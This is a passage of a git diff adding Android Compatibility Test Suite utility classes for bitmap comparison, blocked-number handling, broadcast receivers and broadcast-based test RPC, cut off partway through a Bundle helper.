+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that provides "before" / "after" callbacks, which is useful to use with
+ * {@link org.junit.rules.RuleChain}.
+ */
+public class BeforeAfterRule implements TestRule {
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
+            @Override
+            public void evaluate() throws Throwable {
+                onBefore(base, description);
+                try {
+                    base.evaluate();
+                } finally {
+                    onAfter(base, description);
+                }
+            }
+        };
+    }
+
+    protected void onBefore(Statement base, Description description) throws Throwable {
+    }
+
+    protected void onAfter(Statement base, Description description) throws Throwable {
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BitmapUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BitmapUtils.java
new file mode 100644
index 0000000..7f94d6f
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BitmapUtils.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.WallpaperManager;
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Bitmap.CompressFormat;
+import android.graphics.Color;
+import android.util.Log;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.lang.reflect.Method;
+import java.util.Random;
+
+public class BitmapUtils {
+    private static final String TAG = "BitmapUtils";
+
+    private BitmapUtils() {}
+
+    // Compares two bitmaps by pixels.
+    public static boolean compareBitmaps(Bitmap bmp1, Bitmap bmp2) {
+        if (bmp1 == bmp2) {
+            return true;
+        }
+
+        if (bmp1 == null || bmp2 == null) {
+            return false;
+        }
+
+        if ((bmp1.getWidth() != bmp2.getWidth()) || (bmp1.getHeight() != bmp2.getHeight())) {
+            return false;
+        }
+
+        for (int i = 0; i < bmp1.getWidth(); i++) {
+            for (int j = 0; j < bmp1.getHeight(); j++) {
+                if (bmp1.getPixel(i, j) != bmp2.getPixel(i, j)) {
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+
+    public static Bitmap generateRandomBitmap(int width, int height) {
+        final Bitmap bmp = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        final Random generator = new Random();
+        for (int x = 0; x < width; x++) {
+            for (int y = 0; y < height; y++) {
+                bmp.setPixel(x, y, generator.nextInt(Integer.MAX_VALUE));
+            }
+        }
+        return bmp;
+    }
+
+    public static Bitmap generateWhiteBitmap(int width, int height) {
+        final Bitmap bmp = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        bmp.eraseColor(Color.WHITE);
+        return bmp;
+    }
+
+    public static Bitmap getWallpaperBitmap(Context context) throws Exception {
+        WallpaperManager wallpaperManager = WallpaperManager.getInstance(context);
+        Class<?> noparams[] = {};
+        Class<?> wmClass = wallpaperManager.getClass();
+        Method methodGetBitmap = wmClass.getDeclaredMethod("getBitmap", noparams);
+        return (Bitmap) methodGetBitmap.invoke(wallpaperManager, null);
+    }
+
+    public static ByteArrayInputStream bitmapToInputStream(Bitmap bmp) {
+        final ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        bmp.compress(CompressFormat.PNG, 0 /*ignored for PNG*/, bos);
+        byte[] bitmapData = bos.toByteArray();
+        return new ByteArrayInputStream(bitmapData);
+    }
+
+    private static void logIfBitmapSolidColor(String fileName, Bitmap bitmap) {
+        int firstColor = bitmap.getPixel(0, 0);
+        for (int x = 0; x < bitmap.getWidth(); x++) {
+            for (int y = 0; y < bitmap.getHeight(); y++) {
+                if (bitmap.getPixel(x, y) != firstColor) {
+                    return;
+                }
+            }
+        }
+
+        Log.w(TAG, String.format("%s entire bitmap color is %x", fileName, firstColor));
+    }
+
+    public static void saveBitmap(Bitmap bitmap, String directoryName, String fileName) {
+        new File(directoryName).mkdirs(); // create dirs if needed
+
+        Log.d(TAG, "Saving file: " + fileName + " in directory: " + directoryName);
+
+        if (bitmap == null) {
+            Log.d(TAG, "File not saved, bitmap was null");
+            return;
+        }
+
+        logIfBitmapSolidColor(fileName, bitmap);
+
+        File file = new File(directoryName, fileName);
+        try (FileOutputStream fileStream = new FileOutputStream(file)) {
+            bitmap.compress(Bitmap.CompressFormat.PNG, 0 /* ignored for PNG */, fileStream);
+            fileStream.flush();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java
new file mode 100644
index 0000000..360c078
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static android.provider.BlockedNumberContract.BlockedNumbers.COLUMN_ORIGINAL_NUMBER;
+import static android.provider.BlockedNumberContract.BlockedNumbers.CONTENT_URI;
+
+import android.app.IntentService;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ResultReceiver;
+import android.util.Log;
+
+/**
+ * A service to handle interactions with the BlockedNumberProvider. The BlockedNumberProvider
+ * can only be accessed by the primary user. This service can be run as a singleton service
+ * which will then be able to access the BlockedNumberProvider from a test running in a
+ * secondary user.
+ */
+public class BlockedNumberService extends IntentService {
+
+    static final String INSERT_ACTION = "android.telecom.cts.InsertBlockedNumber";
+    static final String DELETE_ACTION = "android.telecom.cts.DeleteBlockedNumber";
+    static final String PHONE_NUMBER_EXTRA = "number";
+    static final String URI_EXTRA = "uri";
+    static final String ROWS_EXTRA = "rows";
+    static final String RESULT_RECEIVER_EXTRA = "resultReceiver";
+
+    private static final String TAG = "CtsBlockNumberSvc";
+
+    private ContentResolver mContentResolver;
+
+    public BlockedNumberService() {
+        super(BlockedNumberService.class.getName());
+    }
+
+    @Override
+    public void onHandleIntent(Intent intent) {
+        Log.i(TAG, "Starting BlockedNumberService service: " + intent);
+        if (intent == null) {
+            return;
+        }
+        Bundle bundle;
+        mContentResolver = getContentResolver();
+        switch (intent.getAction()) {
+            case INSERT_ACTION:
+                bundle = insertBlockedNumber(intent.getStringExtra(PHONE_NUMBER_EXTRA));
+                break;
+            case DELETE_ACTION:
+                bundle = deleteBlockedNumber(Uri.parse(intent.getStringExtra(URI_EXTRA)));
+                break;
+            default:
+                bundle = new Bundle();
+                break;
+        }
+        ResultReceiver receiver = intent.getParcelableExtra(RESULT_RECEIVER_EXTRA);
+        receiver.send(0, bundle);
+    }
+
+    private Bundle insertBlockedNumber(String number) {
+        Log.i(TAG, "insertBlockedNumber: " + number);
+
+        ContentValues cv = new ContentValues();
+        cv.put(COLUMN_ORIGINAL_NUMBER, number);
+        Uri uri = mContentResolver.insert(CONTENT_URI, cv);
+        Bundle bundle = new Bundle();
+        bundle.putString(URI_EXTRA, uri.toString());
+        return bundle;
+    }
+
+    private Bundle deleteBlockedNumber(Uri uri) {
+        Log.i(TAG, "deleteBlockedNumber: " + uri);
+
+        int rows = mContentResolver.delete(uri, null, null);
+        Bundle bundle = new Bundle();
+        bundle.putInt(ROWS_EXTRA, rows);
+        return bundle;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java
new file mode 100644
index 0000000..e5a0ce4
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static com.android.compatibility.common.util.BlockedNumberService.DELETE_ACTION;
+import static com.android.compatibility.common.util.BlockedNumberService.INSERT_ACTION;
+import static com.android.compatibility.common.util.BlockedNumberService.PHONE_NUMBER_EXTRA;
+import static com.android.compatibility.common.util.BlockedNumberService.RESULT_RECEIVER_EXTRA;
+import static com.android.compatibility.common.util.BlockedNumberService.ROWS_EXTRA;
+import static com.android.compatibility.common.util.BlockedNumberService.URI_EXTRA;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.ResultReceiver;
+
+import junit.framework.TestCase;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Utility for starting the blocked number service.
+ */
+public class BlockedNumberUtil {
+
+    private static final int TIMEOUT = 2;
+
+    private BlockedNumberUtil() {}
+
+    /** Insert a phone number into the blocked number provider and returns the resulting Uri. */
+    public static Uri insertBlockedNumber(Context context, String phoneNumber) {
+        Intent intent = new Intent(INSERT_ACTION);
+        intent.putExtra(PHONE_NUMBER_EXTRA, phoneNumber);
+
+        return Uri.parse(runBlockedNumberService(context, intent).getString(URI_EXTRA));
+    }
+
+    /** Remove a number from the blocked number provider and returns the number of rows deleted. */
+    public static int deleteBlockedNumber(Context context, Uri uri) {
+        Intent intent = new Intent(DELETE_ACTION);
+        intent.putExtra(URI_EXTRA, uri.toString());
+
+        return runBlockedNumberService(context, intent).getInt(ROWS_EXTRA);
+    }
+
+    /** Start the blocked number service. */
+    static Bundle runBlockedNumberService(Context context, Intent intent) {
+        // Temporarily allow background service
+        SystemUtil.runShellCommand("cmd deviceidle tempwhitelist " + context.getPackageName());
+
+        final Semaphore semaphore = new Semaphore(0);
+        final Bundle result = new Bundle();
+
+        ResultReceiver receiver = new ResultReceiver(new Handler(Looper.getMainLooper())) {
+            @Override
+            protected void onReceiveResult(int resultCode, Bundle resultData) {
+                result.putAll(resultData);
+                semaphore.release();
+            }
+        };
+        intent.putExtra(RESULT_RECEIVER_EXTRA, receiver);
+        intent.setComponent(new ComponentName(context, BlockedNumberService.class));
+
+        context.startService(intent);
+
+        try {
+            TestCase.assertTrue(semaphore.tryAcquire(TIMEOUT, TimeUnit.SECONDS));
+        } catch (InterruptedException e) {
+            TestCase.fail("Timed out waiting for result from BlockedNumberService");
+        }
+        return result;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
new file mode 100644
index 0000000..301a626
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import androidx.annotation.Nullable;
+import android.util.Log;
+
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A receiver that allows caller to wait for the broadcast synchronously. Notice that you should not
+ * reuse the instance. Usage is typically like this:
+ * <pre>
+ *     BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(context, "action");
+ *     try {
+ *         receiver.register();
+ *         Intent intent = receiver.awaitForBroadcast();
+ *         // assert the intent
+ *     } finally {
+ *         receiver.unregisterQuietly();
+ *     }
+ * </pre>
+ */
+public class BlockingBroadcastReceiver extends BroadcastReceiver {
+    private static final String TAG = "BlockingBroadcast";
+
+    private static final int DEFAULT_TIMEOUT_SECONDS = 10;
+
+    private final BlockingQueue<Intent> mBlockingQueue;
+    private final String mExpectedAction;
+    private final Context mContext;
+
+    public BlockingBroadcastReceiver(Context context, String expectedAction) {
+        mContext = context;
+        mExpectedAction = expectedAction;
+        mBlockingQueue = new ArrayBlockingQueue<>(1);
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (mExpectedAction.equals(intent.getAction())) {
+            mBlockingQueue.add(intent);
+        }
+    }
+
+    public void register() {
+        mContext.registerReceiver(this, new IntentFilter(mExpectedAction));
+    }
+
+    /**
+     * Wait until the broadcast and return the received broadcast intent. {@code null} is returned
+     * if no broadcast with expected action is received within 10 seconds.
+     */
+    public @Nullable Intent awaitForBroadcast() {
+        try {
+            return mBlockingQueue.poll(DEFAULT_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            Log.e(TAG, "waitForBroadcast get interrupted: ", e);
+        }
+        return null;
+    }
+
+    /**
+     * Wait until the broadcast and return the received broadcast intent. {@code null} is returned
+     * if no broadcast with expected action is received within the given timeout.
+     */
+    public @Nullable Intent awaitForBroadcast(long timeoutMillis) {
+        try {
+            return mBlockingQueue.poll(timeoutMillis, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            Log.e(TAG, "waitForBroadcast get interrupted: ", e);
+        }
+        return null;
+    }
+
+    public void unregisterQuietly() {
+        try {
+            mContext.unregisterReceiver(this);
+        } catch (Exception ex) {
+            Log.e(TAG, "Failed to unregister BlockingBroadcastReceiver: ", ex);
+        }
+    }
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastRpcBase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastRpcBase.java
new file mode 100644
index 0000000..e4d9c22
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastRpcBase.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import androidx.test.InstrumentationRegistry;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Base class to help broadcast-based RPC.
+ */
+public abstract class BroadcastRpcBase<TRequest, TResponse> {
+    private static final String TAG = "BroadcastRpc";
+
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+
+    static final String ACTION_REQUEST = "ACTION_REQUEST";
+    static final String EXTRA_PAYLOAD = "EXTRA_PAYLOAD";
+    static final String EXTRA_EXCEPTION = "EXTRA_EXCEPTION";
+
+    static Handler sMainHandler = new Handler(Looper.getMainLooper());
+
+    /** Implement in a subclass */
+    protected abstract byte[] requestToBytes(TRequest request);
+
+    /** Implement in a subclass */
+    protected abstract TResponse bytesToResponse(byte[] bytes);
+
+    public TResponse invoke(ComponentName targetReceiver, TRequest request) throws Exception {
+        // Create a request intent.
+        Log.i(TAG, "Sending to: " + targetReceiver + (VERBOSE ? "\nRequest: " + request : ""));
+
+        final Intent requestIntent = new Intent(ACTION_REQUEST)
+                .setComponent(targetReceiver)
+                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND)
+                .putExtra(EXTRA_PAYLOAD, requestToBytes(request));
+
+        // Send it.
+        final CountDownLatch latch = new CountDownLatch(1);
+        final AtomicReference<Bundle> responseBundle = new AtomicReference<>();
+
+        InstrumentationRegistry.getContext().sendOrderedBroadcast(
+                requestIntent, null, new BroadcastReceiver() {
+                    @Override
+                    public void onReceive(Context context, Intent intent) {
+                        responseBundle.set(getResultExtras(false));
+                        latch.countDown();
+                    }
+                }, sMainHandler, 0, null, null);
+
+        // Wait for a reply and check it.
+        final boolean responseArrived = latch.await(60, TimeUnit.SECONDS);
+        assertTrue("Didn't receive broadcast result.", responseArrived);
+
+        // TODO If responseArrived is false, print if the package / component is installed?
+
+        assertNotNull("Didn't receive result extras", responseBundle.get());
+
+        final String exception = responseBundle.get().getString(EXTRA_EXCEPTION);
+        if (exception != null) {
+            fail("Target throw exception: receiver=" + targetReceiver
+                    + "\nException: " + exception);
+        }
+
+        final byte[] resultPayload = responseBundle.get().getByteArray(EXTRA_PAYLOAD);
+        assertNotNull("Didn't receive result payload", resultPayload);
+
+        Log.i(TAG, "Response received: " + (VERBOSE ? resultPayload.toString() : ""));
+
+        return bytesToResponse(resultPayload);
+    }
+
+    /**
+     * Base class for a receiver for a broadcast-based RPC.
+     */
+    public abstract static class ReceiverBase<TRequest, TResponse> extends BroadcastReceiver {
+        @Override
+        public final void onReceive(Context context, Intent intent) {
+            assertEquals(ACTION_REQUEST, intent.getAction());
+
+            // Parse the request.
+            final TRequest request = bytesToRequest(intent.getByteArrayExtra(EXTRA_PAYLOAD));
+
+            Log.i(TAG, "Request received: " + (VERBOSE ? request.toString() : ""));
+
+            Throwable exception = null;
+
+            // Handle it and generate a response.
+            TResponse response = null;
+            try {
+                response = handleRequest(context, request);
+                Log.i(TAG, "Response generated: " + (VERBOSE ? response.toString() : ""));
+            } catch (Throwable e) {
+                exception = e;
+                Log.e(TAG, "Exception thrown: " + e.getMessage(), e);
+            }
+
+            // Send back.
+            final Bundle extras = new Bundle();
+            if (response != null) {
+                extras.putByteArray(EXTRA_PAYLOAD, responseToBytes(response));
+            }
+            if (exception != null) {
+                extras.putString(EXTRA_EXCEPTION,
+                        exception.toString() + "\n" + Log.getStackTraceString(exception));
+            }
+            setResultExtras(extras);
+        }
+
+        /** Implement in a subclass */
+        protected abstract TResponse handleRequest(Context context, TRequest request)
+                throws Exception;
+
+        /** Implement in a subclass */
+        protected abstract byte[] responseToBytes(TResponse response);
+
+        /** Implement in a subclass */
+        protected abstract TRequest bytesToRequest(byte[] bytes);
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestBase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestBase.java
new file mode 100644
index 0000000..bf5dc39
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestBase.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.test.ActivityInstrumentationTestCase2;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class BroadcastTestBase extends ActivityInstrumentationTestCase2<
+                                       BroadcastTestStartActivity> {
+    static final String TAG = "BroadcastTestBase";
+    protected static final int TIMEOUT_MS = 20 * 1000;
+
+    protected Context mContext;
+    protected Bundle mResultExtras;
+    private CountDownLatch mLatch;
+    protected ActivityDoneReceiver mActivityDoneReceiver = null;
+    private BroadcastTestStartActivity mActivity;
+    private BroadcastUtils.TestcaseType mTestCaseType;
+    protected boolean mHasFeature;
+
+    public BroadcastTestBase() {
+        super(BroadcastTestStartActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mHasFeature = false;
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mHasFeature && mActivityDoneReceiver != null) {
+            try {
+                mContext.unregisterReceiver(mActivityDoneReceiver);
+            } catch (IllegalArgumentException e) {
+                // This exception is thrown if mActivityDoneReceiver in
+                // the above call to unregisterReceiver is never registered.
+                // If so, no harm done by ignoring this exception.
+            }
+            mActivityDoneReceiver = null;
+        }
+        super.tearDown();
+    }
+
+    protected boolean isIntentSupported(String intentStr) {
+        Intent intent = new Intent(intentStr);
+        final PackageManager manager = mContext.getPackageManager();
+        assertNotNull(manager);
+        if (manager.resolveActivity(intent, 0) == null) {
+            Log.i(TAG, "No Activity found for the intent: " + intentStr);
+            return false;
+        }
+        return true;
+    }
+
+    protected void startTestActivity(String intentSuffix) {
+        Intent intent = new Intent();
+        intent.setAction("android.intent.action.TEST_START_ACTIVITY_" + intentSuffix);
+        intent.setComponent(new ComponentName(getInstrumentation().getContext(),
+                BroadcastTestStartActivity.class));
+        setActivityIntent(intent);
+        mActivity = getActivity();
+    }
+
+    protected void registerBroadcastReceiver(BroadcastUtils.TestcaseType testCaseType) throws Exception {
+        mTestCaseType = testCaseType;
+        mLatch = new CountDownLatch(1);
+        mActivityDoneReceiver = new ActivityDoneReceiver();
+        mContext.registerReceiver(mActivityDoneReceiver,
+                new IntentFilter(BroadcastUtils.BROADCAST_INTENT + testCaseType.toString()));
+    }
+
+    protected boolean startTestAndWaitForBroadcast(BroadcastUtils.TestcaseType testCaseType,
+                                                   String pkg, String cls) throws Exception {
+        Log.i(TAG, "Begin Testing: " + testCaseType);
+        registerBroadcastReceiver(testCaseType);
+        mActivity.startTest(testCaseType.toString(), pkg, cls);
+        if (!mLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+            fail("Failed to receive broadcast in " + TIMEOUT_MS + "msec");
+            return false;
+        }
+        return true;
+    }
+
+    class ActivityDoneReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (intent.getAction().equals(
+                    BroadcastUtils.BROADCAST_INTENT +
+                        BroadcastTestBase.this.mTestCaseType.toString())) {
+                Bundle extras = intent.getExtras();
+                Log.i(TAG, "received_broadcast for " + BroadcastUtils.toBundleString(extras));
+                BroadcastTestBase.this.mResultExtras = extras;
+                mLatch.countDown();
+            }
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestStartActivity.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestStartActivity.java
new file mode 100644
index 0000000..4b3e85d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestStartActivity.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.ComponentName;
+import android.os.Bundle;
+import android.util.Log;
+
+public class BroadcastTestStartActivity extends Activity {
+    static final String TAG = "BroadcastTestStartActivity";
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.i(TAG, " in onCreate");
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        Log.i(TAG, " in onResume");
+    }
+
+    void startTest(String testCaseType, String pkg, String cls) {
+        Intent intent = new Intent();
+        Log.i(TAG, "received_testcasetype = " + testCaseType);
+        intent.putExtra(BroadcastUtils.TESTCASE_TYPE, testCaseType);
+        intent.setAction("android.intent.action.VIMAIN_" + testCaseType);
+        intent.setComponent(new ComponentName(pkg, cls));
+        startActivity(intent);
+    }
+
+    @Override
+    protected void onPause() {
+        Log.i(TAG, " in onPause");
+        super.onPause();
+    }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        Log.i(TAG, " in onStart");
+    }
+
+    @Override
+    protected void onRestart() {
+        super.onRestart();
+        Log.i(TAG, " in onRestart");
+    }
+
+    @Override
+    protected void onStop() {
+        Log.i(TAG, " in onStop");
+        super.onStop();
+    }
+
+    @Override
+    protected void onDestroy() {
+        Log.i(TAG, " in onDestroy");
+        super.onDestroy();
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastUtils.java
new file mode 100644
index 0000000..a4661fc
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastUtils.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.os.Bundle;
+
+public class BroadcastUtils {
+    public enum TestcaseType {
+        ZEN_MODE_ON,
+        ZEN_MODE_OFF,
+        AIRPLANE_MODE_ON,
+        AIRPLANE_MODE_OFF,
+        BATTERYSAVER_MODE_ON,
+        BATTERYSAVER_MODE_OFF,
+        THEATER_MODE_ON,
+        THEATER_MODE_OFF
+    }
+    public static final String TESTCASE_TYPE = "Testcase_type";
+    public static final String BROADCAST_INTENT =
+            "android.intent.action.FROM_UTIL_CTS_TEST_";
+    public static final int NUM_MINUTES_FOR_ZENMODE = 10;
+
+    public static final String toBundleString(Bundle bundle) {
+        if (bundle == null) {
+            return "*** Bundle is null ****";
+        }
+        StringBuilder buf = new StringBuilder();
+        if (bundle != null) {
+            buf.append("extras: ");
+            for (String s : bundle.keySet()) {
+                buf.append("(" + s + " = " + bundle.get(s) + "), ");
+            }
+        }
+        return buf.toString();
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BundleUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BundleUtils.java
new file mode 100644
index 0000000..eda641d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BundleUtils.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.os.Bundle;
+
+public class BundleUtils {
+    private BundleUtils() {
+    }
+
+    public static Bundle makeBundle(Object... keysAndValues) {
+        if ((keysAndValues.length % 2) != 0) {
+            throw new IllegalArgumentException("Argument count not even.");
+        }
+
+        if (keysAndValues.length == 0) {
+            return null;
+        }
+        final Bundle ret = new Bundle();
+
+        for (int i = keysAndValues.length - 2; i >= 0; i -= 2) {
+            final String key = keysAndValues[i].toString();
+            final Object value = keysAndValues[i + 1];
+
+            if (value == null) {
+                ret.putString(key, null);
+
+            } else if (value instanceof Boolean) {
+                ret.putBoolean(key, (Boolean) value);
+
+            } else if (value instanceof Integer) {
